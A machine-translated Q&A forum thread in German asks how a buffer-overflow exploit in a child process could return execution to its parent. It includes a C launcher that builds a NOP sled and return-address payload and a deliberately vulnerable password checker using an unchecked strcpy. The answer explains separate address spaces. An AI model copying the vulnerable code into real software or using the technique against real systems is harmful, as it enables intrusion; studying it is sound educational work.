Wie auf den Adressraum des übergeordneten Prozesses vom untergeordneten Prozess zugreifen?

Question

Ich führe ein Programm B aus der Hauptfunktion eines anderen Programms A von C-Bibliothek-Funktion system(). Aber wenn ich eine Adresse der A an die B als ein Argument übergeben, um die Rücksprungadresse im Prozess B durch Pufferüberlauf zu ersetzen, zeigt es Segmentierungsfehler an.

Ich weiß, dass jeder Prozess nicht auf Adressraum eines anderen Prozesses zugreifen kann. Aber gibt es eine Möglichkeit, den Überlauf des untergeordneten Prozesses in Puffer umzuwandeln, so dass die Ausführung zum übergeordneten Prozess zurückkehrt? Ich benutze x64 Bit Maschine und gcc mit -m32, -fno-stack-protector Optionen.

Dies ist das Programm A aus, wo ich ein anderes Programm B bin Ausführung:

int main(int argc, char *argv[]) { 
    unsigned int i, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); // zero out the new memory 

    strcpy(command, "./child \'"); // start command buffer 
    buffer = command + strlen(command); // set buffer at the end 

    if(argc > 1) // set offset 
     offset = atoi(argv[1]); 

    ret = (unsigned int) &i - offset; // set return address 

    for(i=0; i < 160; i+=4) // fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // add NOP instructions 

    strcat(command, "\'"); 

    system(command); // run another program 
    free(command); 
} 

Und das ist das andere Programm B, den Überlauf

int testAuthenetication(char *password){ 
    int value = 0; 
    char buffer[8]; 

    strcpy(buffer, password); 

    if(strcmp(buffer, "abcd") == 0){ 
     value = 1; 
    } 
    if(strcmp(buffer, "abcdef") == 0){ 
     value = 1; 
    } 

    return value; 
} 

int main(int argc, char *argv[]){ 
    if(argc < 2){ 
     printf("Enter the password \n"); 
     return 0; 
    } 

    if(testAuthenetication(argv[1])){ 
     printf("Access Granted \n");  
    } 
    else{ 
     printf("Access denied \n"); 
    } 
    return 0; 
} 

Answer 1

„zu puffern verwundbar ist, so dass die Ausführung zurückkehrt zum Elternprozess ": Ich sehe nicht, wie das möglich ist. Die Anweisungen des übergeordneten Prozesses befinden sich in einem anderen Speicherbereich (verschiedene Seitentabellen, die vom Kernel über CR3 ausgewählt wurden). Wenn Sie also versuchen, vom Kind auf die Adresse des übergeordneten Elements zu springen, befinden sich dort Seiten mit ungültigem bzw. ungültigem Inhalt.

Ich empfehle, dass Sie den Kontext/Endziel deutlicher angeben: versuchen Sie, willkürliche Codeausführung von einem Überlauf auszuführen, ist es das? Und B ist das verwundbare Programm und A der Exploit-Code?

Wenn das der Fall ist, versuchen Sie, den willkürlichen Code in einen ausführbaren Teil des Speichers des untergeordneten Prozesses zu schreiben, und verwenden Sie dann den Überlauf, um zu es alle im untergeordneten Prozess selbst zu springen. Ich bin mir nicht sicher, ob das funktioniert.

Das Y von diesem X wurde weniger genau gefragt: How are buffer overflows used to exploit computers? (aber nicht die Antworten geben derzeit ein minimales Beispiel).